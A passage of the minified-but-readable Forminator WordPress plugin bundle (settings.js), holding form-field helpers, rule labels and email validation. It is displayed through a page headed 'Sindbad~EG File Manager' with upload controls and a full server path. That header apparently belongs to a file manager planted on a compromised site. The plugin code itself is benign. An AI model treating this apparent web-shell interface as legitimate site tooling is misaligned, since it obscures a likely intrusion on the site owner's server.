Sindbad~EG File Manager

Current Path : /home/admin/servicesport.blog.lppelm.o2switch.site/wp-content/plugins/forminator/build/
Upload File :
Current File : //home/admin/servicesport.blog.lppelm.o2switch.site/wp-content/plugins/forminator/build/settings.js

/******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};
/******/
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/
/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId]) {
/******/ 			return installedModules[moduleId].exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			i: moduleId,
/******/ 			l: false,
/******/ 			exports: {}
/******/ 		};
/******/
/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ 		// Flag the module as loaded
/******/ 		module.l = true;
/******/
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/
/******/
/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;
/******/
/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;
/******/
/******/ 	// define getter function for harmony exports
/******/ 	__webpack_require__.d = function(exports, name, getter) {
/******/ 		if(!__webpack_require__.o(exports, name)) {
/******/ 			Object.defineProperty(exports, name, {
/******/ 				configurable: false,
/******/ 				enumerable: true,
/******/ 				get: getter
/******/ 			});
/******/ 		}
/******/ 	};
/******/
/******/ 	// getDefaultExport function for compatibility with non-harmony modules
/******/ 	__webpack_require__.n = function(module) {
/******/ 		var getter = module && module.__esModule ?
/******/ 			function getDefault() { return module['default']; } :
/******/ 			function getModuleExports() { return module; };
/******/ 		__webpack_require__.d(getter, 'a', getter);
/******/ 		return getter;
/******/ 	};
/******/
/******/ 	// Object.prototype.hasOwnProperty.call
/******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = "";
/******/
/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(__webpack_require__.s = 807);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, exports) {

module.exports = React;

/***/ }),
/* 1 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };

exports.randNumber = randNumber;
exports.generateWrapperId = generateWrapperId;
exports.getWrapper = getWrapper;
exports.getDefaultValue = getDefaultValue;
exports.getThemePrefix = getThemePrefix;
exports.restrictedGroupFields = restrictedGroupFields;
exports.lonerFields = lonerFields;
exports.getSubmissionBehaviors = getSubmissionBehaviors;
exports.countFieldsByType = countFieldsByType;
exports.getMaxIDByType = getMaxIDByType;
exports.getMaxID = getMaxID;
exports.generateValue = generateValue;
exports.hasFieldType = hasFieldType;
exports.getFieldsByType = getFieldsByType;
exports.mapFieldsByType = mapFieldsByType;
exports.getFieldLabel = getFieldLabel;
exports.fieldExist = fieldExist;
exports.buildFieldObject = buildFieldObject;
exports.buildFieldObjectFromSlug = buildFieldObjectFromSlug;
exports.getFieldType = getFieldType;
exports.getForminatorField = getForminatorField;
exports.insertInPosition = insertInPosition;
exports.replaceInPosition = replaceInPosition;
exports.translate = translate;
exports.getFontVariants = getFontVariants;
exports.ucfirst = ucfirst;
exports.getConditionLabel = getConditionLabel;
exports.convertTimestamp = convertTimestamp;
exports.getFields = getFields;
exports.getDateFields = getDateFields;
exports.getNameFields = getNameFields;
exports.getRangeSliderFields = getRangeSliderFields;
exports.fieldHasNumber = fieldHasNumber;
exports.fieldHasCalcs = fieldHasCalcs;
exports.fieldFormula = fieldFormula;
exports.fieldHasOptions = fieldHasOptions;
exports.getFieldValues = getFieldValues;
exports.getAddressFields = getAddressFields;
exports.getTimeFields = getTimeFields;
exports.getFieldAutofillProviders = getFieldAutofillProviders;
exports.getRuleLabel = getRuleLabel;
exports.isEmailWp = isEmailWp;
exports.suiDelegateEvents = suiDelegateEvents;
exports.getChartType = getChartType;
exports.getCalculationFields = getCalculationFields;
exports.select2Tags = select2Tags;
exports.isFieldRequired = isFieldRequired;
exports.hasFieldWithAttribute = hasFieldWithAttribute;
exports.hasPostdataFieldWithMultiselect = hasPostdataFieldWithMultiselect;
exports.getPersonalityQuestions = getPersonalityQuestions;
exports.getPlanValidation = getPlanValidation;
exports.isTrue = isTrue;
exports.parseQueryString = parseQueryString;
exports.goToLink = goToLink;

var _i18nWpPlugin = __webpack_require__(52);

var _i18nWpPlugin2 = _interopRequireDefault(_i18nWpPlugin);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _toConsumableArray(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } else { return Array.from(arr); } }

/**
 * Returns unique 4 digit number
 *
 * @return {number}
 **/
function randNumber() {
	//return Math.floor( Math.random() * 9999 );
	var min = Math.ceil(1000);
	var max = Math.floor(9999);
	return Math.floor(Math.random() * (max - min) + min);
}

/**
 * Returns wrapper uniq ID
 *
 * @return {string}
 **/
function generateWrapperId() {
	return 'wrapper-' + randNumber() + '-' + randNumber();
}

/**
 * Returns wrapper object by wrapper ID
 *
 * @param {string} wrapperID ID of the wrapper
 * @param {array} wrappers current wrappers
 *
 * @return {string}
 **/
function getWrapper(wrapperID, wrappers) {
	var wrapperObject = void 0;

	wrappers.map(function (wrapper) {
		if (wrapper.wrapper_id === wrapperID) {
			wrapperObject = wrapper;
		}
	});

	return wrapperObject;
}

/**
 * Return passed default value or empty if it's Basic theme
 *
 * @param {String} getDefaultValue Default value
 * @param {String} formDesign Property
 * @return {String}
 */
function getDefaultValue(props, getDefaultValue) {
	return getThemeName(props) !== 'basic' ? getDefaultValue : '';
}

/**
 * Get prefix for properties if it's Basic theme
 *
 * @param {type} formDesign Property
 * @return {String}
 */
function getThemePrefix(props) {
	return getThemeName(props) === 'basic' ? 'basic-' : '';
}

/**
 * Get design theme name
 *
 * @param {type} propsProperties
 * @return {String}
 */
function getThemeName(props) {
	if ("undefined" !== typeof props.formDesign) {
		return props.formDesign;
	}

	if ("undefined" !== typeof props.settings && "undefined" !== typeof props.settings['forminator-poll-design']) return props.settings['forminator-poll-design'];

	if ("undefined" !== typeof props.quizDesign) return props.quizDesign;

	return '';
}

/**
 * Returns all field types disabled inside Group Fields
 *
 * @return {array}
 */
function restrictedGroupFields() {
	return ['page-break', 'paypal', 'stripe', 'signature', 'captcha', 'postdata', 'group'];
}

/**
 * Returns all field types that should only occupy a single row. ;(
 * Field can only be added for new/unreleased field types.
 *
 * @return {array}
 */
function lonerFields() {
	return ['pdf-page-break', 'all-form-data'];
}

/**
 * Returns all behavior types
 *
 * @return {object}
 */
function getSubmissionBehaviors() {
	return {
		'behaviour-thankyou': translate('Inline Message'),
		'behaviour-redirect': translate('Redirect user to a URL'),
		'behaviour-hide': translate('Hide form')
	};
}

/**
 * Returns count of existing fields by type
 *
 * @param {string} type type of field
 * @param {array} wrappers current wrappers
 *
 * @return {number}
 **/
function countFieldsByType(type, wrappers) {
	var counter = 0;

	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			if (field.type === type) {
				counter++;
			}
		});
	});

	return counter;
}

/**
 * Returns max ID number by type
 *
 * @param {string} type type of field
 * @param {array} wrappers current wrappers
 *
 * @return {number}
 **/
function getMaxIDByType(type, wrappers) {
	var fieldIDs = [];

	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			if (field.type === type) {
				var fieldId = field.element_id;
				var fieldIdArray = fieldId.split('-');
				switch (field.type) {
					case 'page-break':
					case 'rich-text':
						fieldIDs.push(parseInt(fieldIdArray[2]));
						break;
					case 'all-form-data':
					case 'pdf-page-break':
						fieldIDs.push(parseInt(fieldIdArray[3]));
						break;
					default:
						fieldIDs.push(parseInt(fieldIdArray[1]));
						break;
				}
			}
		});
	});

	var maxValue = 0;

	if (!_.isEmpty(fieldIDs)) {
		maxValue = _.max(fieldIDs);
	}

	return parseInt(maxValue) + 1;
}

function getMaxID(type, values) {
	var ids = [];

	_.map(values, function (value) {
		var fieldId = value.element_id;
		var fieldIdArray = fieldId.split('-');

		ids.push(parseInt(fieldIdArray[1]));
	});

	var maxValue = 0;

	if (!_.isEmpty(ids)) {
		maxValue = _.max(ids);
	}

	return parseInt(maxValue) + 1;
}

/**
 * Returns Label converted to value
 *
 * @param {string} value entered label
 *
 * @return {string}
 **/
function generateValue(value) {
	value = value.trim().replace(/\s+|\//g, '-');

	return value;
}

/**
 * Return true if it's Global Appearance Preset
 *
 * @param {array} wrappers current wrappers
 * @return {Boolean}
 */
function isGlobalPreset(wrappers) {
	return null === wrappers;
}

/**
 * Returns true if field exist
 *
 * @param {string} type type of field
 * @param {array} wrappers current wrappers
 *
 * @return {bool}
 **/
function hasFieldType(type, wrappers) {
	var counter = 0;

	if (isGlobalPreset(wrappers)) {
		return true;
	}

	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			if (field.type === type) {
				counter++;
			}
		});
	});

	return counter > 0;
}

/**
 * Returns array of fields by type
 *
 * @param {string} type type of field
 * @param {array} wrappers current wrappers
 *
 * @return {array}
 **/
function getFieldsByType(type, wrappers) {
	var fields = [];

	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			if (field.type === type) {
				fields.push(field);
			}
		});
	});

	return fields;
}

/**
 * Returns array of fields by type mapped for select field
 *
 * @param {string} type type of field
 * @param {array} wrappers current wrappers
 *
 * @return {array}
 **/
function mapFieldsByType(type, wrappers) {
	var fields = [];
	var fieldsByType = getFieldsByType(type, wrappers);
	fieldsByType.map(function (field) {
		var label = field.field_label;

		if (type === 'address') {
			label = field.element_id;
		}

		fields.push({
			value: field.element_id,
			label: label,
			element_id: field.element_id
		});
	});

	return fields;
}

/**
 * Returns field label by ID
 *
 * @param {string} id field ID
 * @param {array} wrappers current wrappers
 *
 * @return {string}
 **/
function getFieldLabel(id, wrappers) {
	var label = '';
	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			if (field.element_id === id) {
				label = field.field_label;
			}
		});
	});

	return label;
}
/**
 * Returns true or false if field exist
 *
 * @param {string} id field ID
 * @param {array} wrappers current wrappers
 *
 * @return {bool}
 **/
function fieldExist(id, wrappers) {
	var exist = 0;

	wrappers.map(function (wrapper) {
		wrapper.fields.map(function (field) {
			if (field.element_id === id) {
				exist++;
			}
		});
	});

	return exist > 0;
}

/**
 * Returns field object with defaults from slug
 *
 * @param {object} field field
 * @param {string} wrapperID wrapper id
 * @param {number} cols columns
 * @param {array} wrappers wrappers
 * @param {array} tempNewFields New Siblings Fields that aren't included in wrappers yet
 *
 * @return {object}
 **/
function buildFieldObject(field, wrapperID, cols, wrappers, tempNewFields) {
	tempNewFields = tempNewFields || [];
	var wraps = [].concat(_toConsumableArray(wrappers), [{ fields: tempNewFields }]);
	var fieldNumber = getMaxIDByType(field.type, wraps);

	return _.extend(field, {
		element_id: field.type + '-' + fieldNumber,
		formID: wrapperID,
		cols: cols
	});
}

/**
 * Returns field object with defaults from slug
 *
 * @param {string} slug field slug
 * @param {array} wrappers wrappers
 * @param {string} wrapepr ID
 *
 * @return {object}
 **/
function buildFieldObjectFromSlug(slug, wrappers, wrapperID) {
	var field = forminatorData.fields.find(function (fieldData) {
		return fieldData.slug === slug;
	});

	var fieldNumber = getMaxIDByType(field.type, wrappers);

	var props = {
		element_id: field.type + '-' + fieldNumber,
		type: field.type,
		options: field.options,
		cols: 12,
		conditions: {},
		wrapper_id: wrapperID
	};

	if (_.contains(['calculation', 'number', 'slider', 'radio', 'currency', 'select', 'checkbox'], field.type)) {
		props['hidden_behavior'] = 'zero';
	}

	return _.extend(props, JSON.parse(JSON.stringify(field.defaults)));
}

/**
 * Returns field type by field object
 *
 * @param {object} field field
 *
 * @return {string}
 **/
function getFieldType(field) {
	var type = field.type;


	return type;
}

/**
 * Returns forminatorData.fields(PHP) from field object from builder
 *
 * Comparing `type`
 *
 * @param {object} field field
 *
 * @return {object}
 **/
function getForminatorField(field) {
	return forminatorData.fields.find(function (forminatorField) {
		return forminatorField.type === field.type;
	});
}

/**
 * Insert item into array in specific position
 *
 * @param {array} array array
 * @param {number} position position
 * @param {any} replacement replacement
 *
 * @return {array} array
 */
function insertInPosition(array, position, replacement) {
	return [].concat(_toConsumableArray(array.slice(0, position)), [replacement], _toConsumableArray(array.slice(position)));
}

/**
 * Replace item in array in specific position
 *
 * @param {array} array array
 * @param {number} position position
 * @param {any} replacement replacement
 *
 * @return {array} array
 */
function replaceInPosition(array, position, replacement) {
	return [].concat(_toConsumableArray(array.slice(0, position)), [replacement], _toConsumableArray(array.slice(position + 1)));
}

/**
 * Translate string
 *
 * @see i18n.translate
 *
 * @return {string} translated string
 */
function translate() {
	return _i18nWpPlugin2.default.translate.apply(null, arguments);
}

/**
 * Returns variants for selected font
 *
 * @param {string} value font
 * @param {array} fonts fonts

 * @return {array}
 **/
function getFontVariants(value, fonts) {
	var fontObject = _.filter(fonts, function (font) {
		return font.family === value;
	});

	if (!_.isUndefined(fontObject[0]) && !_.isUndefined(fontObject[0].variants)) {
		return fontObject[0].variants;
	}

	return [translate('None')];
}

/**
 * Capitalize string
 *
 * @param {string} value value
 * @returns {string}
 **/
function ucfirst(value) {
	return value.charAt(0).toUpperCase() + value.slice(1);
}

/**
 * Get condition label
 *
 * @returns {string}
 */
function getConditionLabel(field, condition) {
	var value = condition.value;
	var valueLabel = void 0;

	// If option field and have values, we need the option updateValue
	// Else return the field value
	if (field.hasOptions && field.values.length > 0) {
		var label = void 0;

		// Check in values
		label = _.where(field.values, { value: value })[0];

		// If label is not set, check in labels
		if (!label) {
			label = _.where(field.values, { label: value })[0];
		}

		// If label is still not found, return
		if (!label) {
			return;
		}

		valueLabel = label.label;
	} else if ('date' === field.field_type && ['is_before', 'is_after'].includes(condition.rule)) {
		// Get formatted date string
		valueLabel = convertTimestamp(value);
	} else {
		valueLabel = value;
	}

	// If label empty, return null
	if (_.isEmpty(valueLabel)) {
		return translate('null');
	}

	return valueLabel;
}

/*
 * Convert date from timestamp
 */
function convertTimestamp(value) {
	if (!isNaN(Number(value))) {
		// Convert timestamp to Date object
		var date = new Date(value * 1);

		// Options for formatting the date
		var options = { day: 'numeric', month: 'numeric', year: 'numeric' };

		// Get the formatted date string
		value = date.toLocaleDateString('en-US', options);
	}

	return value;
}

/*
 * Returns builder fields from wrappers
 */
function getFields(wrappers, disabledFields, extra, includedFields, excludeSubFields) {
	var fieldsArray = [];

	if (_.isUndefined(disabledFields)) {
		disabledFields = ['page-break', 'postdata', 'total', 'product', 'captcha'];
	}
	if (Array.isArray(disabledFields) && !isTrue(excludeSubFields)) {
		disabledFields.push('group');
	}
	var main_date_field = false;

	if (!_.isUndefined(extra) && !_.isUndefined(extra.main_date_field) && extra.main_date_field === true) {
		main_date_field = true;
	}

	// Loop all wrappers we have
	wrappers.map(function (wrapper) {
		var fields = wrapper.fields,
		    parentGroup = wrapper.parent_group;
		fields.map(function (field) {
			// Check if field is included
			if (!_.isUndefined(includedFields)) {
				if (!_.contains(includedFields, field.type)) {
					return;
				}
			} else if (_.contains(disabledFields, field.type)) {
				// Check if field is disabled
				return;
			}

			var label = void 0;

			// Get field label
			if (!_.isUndefined(field.field_label) && !_.isEmpty(field.field_label)) {
				label = field.field_label;
			} else {
				label = field.type;
				label = ucfirst(label);
			}

			// If field is name, get all existing sub fields
			if (field.type === 'name' && !isTrue(excludeSubFields)) {
				fieldsArray = fieldsArray.concat(getNameFields(field, label, parentGroup));
			} else if (field.type === 'address' && !isTrue(excludeSubFields)) {
				fieldsArray = fieldsArray.concat(getAddressFields(field, label, parentGroup));
			} else if (field.type === 'slider' && field.slider_type === 'range') {
				fieldsArray = fieldsArray.concat(getRangeSliderFields(field, label, parentGroup));
			} else if (field.type === 'time' && !isTrue(excludeSubFields)) {
				fieldsArray = fieldsArray.concat(getTimeFields(field, label, parentGroup));
			} else if (field.type === 'date' && field.field_type !== 'picker' && main_date_field === false) {
				//skip now
			} else {
				fieldsArray.push({
					element_id: field.element_id,
					parent_group: parentGroup,
					required: field.required,
					field_type: field.type,
					field_slug: field.type,
					label: label,
					values: getFieldValues(field),
					hasOptions: fieldHasOptions(field),
					hasCalcs: fieldHasCalcs(field),
					formula: fieldFormula(field),
					isNumber: fieldHasNumber(field),
					fieldData: field
				});
			}
			if (field.type === 'date' && field.field_type !== 'picker' && !isTrue(excludeSubFields)) {
				fieldsArray = fieldsArray.concat(getDateFields(field, label, parentGroup));
			}
		});
	});
	return fieldsArray;
}
/**
 * Get name_fields (support dropdown & input date fields)
 * @param {object} field field to parse
 * @param {string} fieldLabel parent label
 * @returns {Array}
 **/
function getDateFields(field, fieldLabel, parentGroup) {
	var fieldsArray = [];

	var day_label = void 0;
	if (!_.isUndefined(field.day_label) && !_.isEmpty(field.day_label)) {
		day_label = fieldLabel + ' - ' + field.day_label;
	} else {
		day_label = fieldLabel + ' - ' + translate('Day');
	}

	var month_label = void 0;
	if (!_.isUndefined(field.month_label) && !_.isEmpty(field.month_label)) {
		month_label = fieldLabel + ' - ' + field.month_label;
	} else {
		month_label = fieldLabel + ' - ' + translate('Month');
	}

	var year_label = void 0;
	if (!_.isUndefined(field.year_label) && !_.isEmpty(field.year_label)) {
		year_label = fieldLabel + ' - ' + field.year_label;
	} else {
		year_label = fieldLabel + ' - ' + translate('Year');
	}
	if (field.field_type === 'input') {
		fieldsArray.push({
			element_id: field.element_id + '-day',
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-day',
			label: day_label,
			values: false,
			hasOptions: false,
			isNumber: true
		}, {
			element_id: field.element_id + '-month',
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-month',
			label: month_label,
			values: false,
			hasOptions: false,
			isNumber: true
		}, {
			element_id: field.element_id + '-year',
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-year',
			label: year_label,
			values: false,
			hasOptions: false,
			isNumber: true
		});
	} else {
		fieldsArray.push({
			element_id: field.element_id + '-day',
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-day',
			label: day_label,
			values: getFieldValues(field),
			hasOptions: fieldHasOptions(field),
			isNumber: fieldHasNumber(field)
		}, {
			element_id: field.element_id + '-month',
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-month',
			label: month_label,
			values: getFieldValues(field),
			hasOptions: fieldHasOptions(field),
			isNumber: fieldHasNumber(field)
		}, {
			element_id: field.element_id + '-year',
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-year',
			label: year_label,
			values: getFieldValues(field),
			hasOptions: fieldHasOptions(field),
			isNumber: fieldHasNumber(field)
		});
	}

	return fieldsArray;
}

/**
 * Get name_fields (support multiple name fields)
 * @param {object} field field to parse
 * @param {string} fieldLabel parent label
 * @returns {Array}
 **/
function getNameFields(field, fieldLabel, parentGroup) {
	var fieldsArray = [];
	//handle multiple name
	if (field.multiple_name === 'true' || true === field.multiple_name) {
		[{
			attr: 'prefix',
			label: 'prefix_label',
			element_suffix: 'prefix',
			hasOptions: true,
			values: [{ label: 'Mr.', value: 'Mr' }, { label: 'Mrs.', value: 'Mrs' }, { label: 'Ms.', value: 'Ms' }, { label: 'Mx.', value: 'Mx' }, { label: 'Miss', value: 'Miss' }, { label: 'Dr.', value: 'Dr' }, { label: 'Prof.', value: 'Prof' }],
			isNumber: false
		}, {
			attr: 'fname',
			label: 'fname_label',
			element_suffix: 'first-name',
			hasOptions: false,
			values: false,
			isNumber: false
		}, {
			attr: 'mname',
			label: 'mname_label',
			element_suffix: 'middle-name',
			hasOptions: false,
			values: false,
			isNumber: false
		}, {
			attr: 'lname',
			label: 'lname_label',
			element_suffix: 'last-name',
			hasOptions: false,
			values: false,
			isNumber: false
		}].map(function (attribute) {
			if (field[attribute.attr] === 'true' || field[attribute.attr] === true) {
				var label = void 0;
				if (!_.isUndefined(field[attribute.label]) && !_.isEmpty(field[attribute.label])) {
					label = fieldLabel + ' - ' + field[attribute.label];
				} else {
					label = fieldLabel + ' - ';
				}

				fieldsArray.push({
					element_id: field.element_id + '-' + attribute.element_suffix,
					parent_group: parentGroup,
					required: field.required,
					field_type: field.type,
					field_slug: field.type + '-' + attribute.element_suffix,
					label: label,
					values: attribute.values,
					hasOptions: attribute.hasOptions,
					isNumber: attribute.isNumber
				});
			}
		});
	} else {
		fieldsArray.push({
			element_id: field.element_id,
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type,
			label: fieldLabel,
			values: getFieldValues(field),
			hasOptions: fieldHasOptions(field),
			isNumber: fieldHasNumber(field)
		});
	}

	return fieldsArray;
}

/**
 * Get Range Slider fields
 * @param {object} field field to parse
 * @param {string} fieldLabel parent label
 * @returns {Array}
 **/
function getRangeSliderFields(field, fieldLabel, parentGroup) {
	var fieldsArray = [];
	[{
		suffix: 'min'
	}, {
		suffix: 'max'
	}].map(function (attribute) {
		fieldsArray.push({
			element_id: field.element_id + '-' + attribute.suffix,
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-' + attribute.suffix,
			label: fieldLabel + ' - ' + attribute.suffix,
			isNumber: true,
			hasCalcs: fieldHasCalcs(field)
		});
	});

	return fieldsArray;
}

/*
 * Returns if field has number
 */
function fieldHasNumber(field) {
	if (_.contains(['calculation', 'number', 'slider', 'phone', 'currency'], field.type)) {
		return true;
	}

	return false;
}

/*
 * Returns if field has calculations enabled
 */
function fieldHasCalcs(field) {
	if (field.calculations === 'true' || field.calculations === true) {
		return true;
	}

	return false;
}

function fieldFormula(field) {
	if (field.formula) {
		return field.formula;
	}

	return false;
}

/*
 * Returns if field has options
 */
function fieldHasOptions(field) {
	if (field.type === 'select' || field.type === 'checkbox' || field.type === 'radio') {
		return true;
	}

	return false;
}

/*
 * Returns field values
 */
function getFieldValues(field) {
	var type = field.type;

	if (type === 'select' || type === 'checkbox' || type === 'radio') {
		return field.options;
	}

	return false;
}

/**
 * Get address_fields (support multi sub fields)
 * @param {object} field field
 * @param {string} fieldLabel lbel
 * @returns {array}
 **/
function getAddressFields(field, fieldLabel, parentGroup) {
	var fieldsArray = [];

	[{
		attr: 'street_address',
		label: 'street_address_label',
		element_suffix: 'street_address',
		hasOptions: false,
		values: false,
		isNumber: false
	}, {
		attr: 'address_line',
		label: 'address_line_label',
		element_suffix: 'address_line',
		hasOptions: false,
		values: false,
		isNumber: false
	}, {
		attr: 'address_city',
		label: 'address_city_label',
		element_suffix: 'city',
		hasOptions: false,
		values: false,
		isNumber: false
	}, {
		attr: 'address_state',
		label: 'address_state_label',
		element_suffix: 'state',
		hasOptions: false,
		values: false,
		isNumber: false
	}, {
		attr: 'address_zip',
		label: 'address_zip_label',
		element_suffix: 'zip',
		hasOptions: false,
		values: false,
		isNumber: false
	}, {
		attr: 'address_country',
		label: 'address_country_label',
		element_suffix: 'country',
		hasOptions: false,
		values: false,
		isNumber: false
	}].map(function (attribute) {
		if (isTrue(field[attribute.attr])) {
			var label = void 0;
			if (!_.isUndefined(field[attribute.label]) && !_.isEmpty(field[attribute.label])) {
				label = fieldLabel + ' - ' + field[attribute.label];
			} else {
				label = fieldLabel + ' - ';
			}

			fieldsArray.push({
				element_id: field.element_id + '-' + attribute.element_suffix,
				parent_group: parentGroup,
				required: field.required,
				field_type: field.type,
				field_slug: field.type + '-' + attribute.element_suffix,
				label: label,
				values: attribute.values,
				hasOptions: attribute.hasOptions,
				isNumber: attribute.isNumber
			});
		}
	});

	return fieldsArray;
}

/**
 * Get time_fields (support multi sub fields)
 * @param {object} field field
 * @param {string} fieldLabel label
 * @returns {array}
 **/
function getTimeFields(field, fieldLabel, parentGroup) {
	var fieldsArray = [];

	var hh_label = void 0;
	if (!_.isUndefined(field.hh_label) && !_.isEmpty(field.hh_label)) {
		hh_label = fieldLabel + ' - ' + field.hh_label;
	} else {
		hh_label = fieldLabel + ' - ' + translate('Hour');
	}

	var mm_label = void 0;
	if (!_.isUndefined(field.mm_label) && !_.isEmpty(field.mm_label)) {
		mm_label = fieldLabel + ' - ' + field.mm_label;
	} else {
		mm_label = fieldLabel + ' - ' + translate('Minute');
	}

	fieldsArray.push({
		element_id: field.element_id + '-hours',
		parent_group: parentGroup,
		required: field.required,
		field_type: field.type,
		field_slug: field.type + '-hours',
		label: hh_label,
		values: false,
		hasOptions: false,
		isNumber: true
	}, {
		element_id: field.element_id + '-minutes',
		parent_group: parentGroup,
		required: field.required,
		field_type: field.type,
		field_slug: field.type + '-minutes',
		label: mm_label,
		values: false,
		hasOptions: false,
		isNumber: true
	});

	if (field.time_type === 'twelve') {
		fieldsArray.push({
			element_id: field.element_id + '-ampm',
			parent_group: parentGroup,
			required: field.required,
			field_type: field.type,
			field_slug: field.type + '-ampm',
			label: fieldLabel + '-AM/PM',
			values: [{ label: 'AM', value: 'am' }, { label: 'PM', value: 'pm' }],
			hasOptions: true,
			isNumber: false
		});
	}

	return fieldsArray;
}

/**
 *
 * @param {string} fieldType fieldType
 * @returns {array}
 **/
function getFieldAutofillProviders(fieldType) {
	var autofillProviders = [];
	var fieldSettings = forminatorData.fields.filter(function (field) {
		return field.type === fieldType;
	});

	if (fieldSettings.length < 1) {
		return [];
	}

	fieldSettings = fieldSettings[0];
	if (!_.isUndefined(fieldSettings.autofill_settings)) {
		autofillProviders = fieldSettings.autofill_settings;
	}

	return autofillProviders;
}

/**
 * Returns label by rule value
 *
 * @param {string} rule rule
 * @param {string} type type
 * @param {mix} type value ( optional )
 * @returns {string}
 **/
function getRuleLabel(rule, type, value) {
	var val = !_.isUndefined(value) ? value : '';
	switch (rule) {
		case 'is':
			return translate('is');
		case 'is_not':
			return translate('is not');
		case 'day_is':
			return translate('day is');
		case 'day_is_not':
			return translate('day is not');
		case 'month_is_not':
			return translate('month is not');
		case 'month_is':
			return translate('month is');
		case 'is_before':
			return translate('is before');
		case 'is_after':
			return translate('is after');
		case 'is_before_n_or_more_days':
			return translate('is before %s or more days from current date').replace('%s', val);
		case 'is_before_less_than_n_days':
			return translate('is before less than %s days from current date').replace('%s', val);
		case 'is_after_n_or_more_days':
			return translate('is after %s or more days from current date').replace('%s', val);
		case 'is_after_less_than_n_days':
			return translate('is after less than %s days from current date').replace('%s', val);
		case 'is_great':
			return translate('is greater than');
		case 'is_less':
			return translate('is less than');
		case 'contains':
			return translate('contains');
		case 'starts':
			return translate('starts with');
		case 'ends':
			return translate('ends with');
		case 'is_correct':
			return translate('is correct');
		case 'is_incorrect':
			return translate('is incorrect');
		// Personality quiz rules.
		case 'is_final_result':
			return translate('is final result');
		case 'is_not_final_result':
			return translate('is not final result');
		default:
			return '-';
	}
}

/**
 * Return if value is valid email wp
 *
 * @param {string} value value to check
 * @returns {bool}
 **/
function isEmailWp(value) {
	if (value.length < 6) {
		return false;
	}

	// Test for an @ character after the first position
	if (value.indexOf('@', 1) < 0) {
		return false;
	}

	// Split out the local and domain parts
	var parts = value.split('@', 2);

	// LOCAL PART
	// Test for invalid characters
	if (!parts[0].match(/^[a-zA-Z0-9!#$%&'*+\/=?^_`{|}~\.-]+$/)) {
		return false;
	}

	// DOMAIN PART
	// Test for sequences of periods
	if (parts[1].match(/\.{2,}/)) {
		return false;
	}

	var domain = parts[1];
	// Split the domain into subs
	var subs = domain.split('.');
	if (subs.length < 2) {
		return false;
	}

	var subsLen = subs.length;
	for (var i = 0; i < subsLen; i++) {
		// Test for invalid characters
		if (!subs[i].match(/^[a-z0-9-]+$/i)) {
			return false;
		}
	}
	return true;
}

/**
 * Display SUI JS Elements
 **/
function suiDelegateEvents() {
	if ('object' !== _typeof(window.SUI)) {
		return;
	}

	// Time it out
	setTimeout(function () {
		// Rebind Accordion scripts
		SUI.suiAccordion(jQuery('.sui-accordion'));

		// Rebind Tabs scripts
		SUI.suiTabs(jQuery('.sui-tabs'));

		// Rebind Select2 scripts.
		jQuery('select.sui-select[data-theme="icon"]').each(function () {
			SUI.select.initIcon(jQuery(this));
		});

		jQuery('select.sui-select[data-theme="color"]').each(function () {
			SUI.select.initColor(jQuery(this));
		});

		jQuery('select.sui-select[data-theme="search"]').each(function () {
			SUI.select.initSearch(jQuery(this));
		});

		jQuery('select.sui-select:not([data-theme]):not(.custom-select2):not(.fui-multi-select)').each(function () {
			SUI.select.init(jQuery(this));
		});

		// Rebind Variables scripts.
		jQuery('select.sui-variables').each(function () {
			SUI.select.initVars(jQuery(this));
		});

		// Rebind Circle scripts
		SUI.loadCircleScore(jQuery('.sui-circle-score'));

		// Rebind Password scripts
		SUI.showHidePassword();
	}, 50);
}

/**
 * Returns chart type from settings
 *
 * @param {array} settings Settings array
 *
 * @return {string} Chart type
 */
function getChartType(settings) {
	var type = 'none';

	if (_typeof(settings['results-behav']) && _typeof(settings['results-style'])) {
		if (settings['results-behav'] === 'link_on' || settings['results-behav'] === 'show_after') {
			type = settings['results-style'];
		}
	}

	return type;
}

/**
 * Returns array of calculation fields
 *
 * @param {array} wrappers current wrappers
 *
 * @return {array}
 **/
function getCalculationFields(wrappers) {
	var disabled = [];

	// Push disabled fields
	_.each(forminatorData.fields, function (field) {
		if (field.type !== 'calculation') {
			disabled.push(field.type);
		}
	});

	return getFields(wrappers, disabled);
}

/**
 * Display Select2 with multiple tags
 *
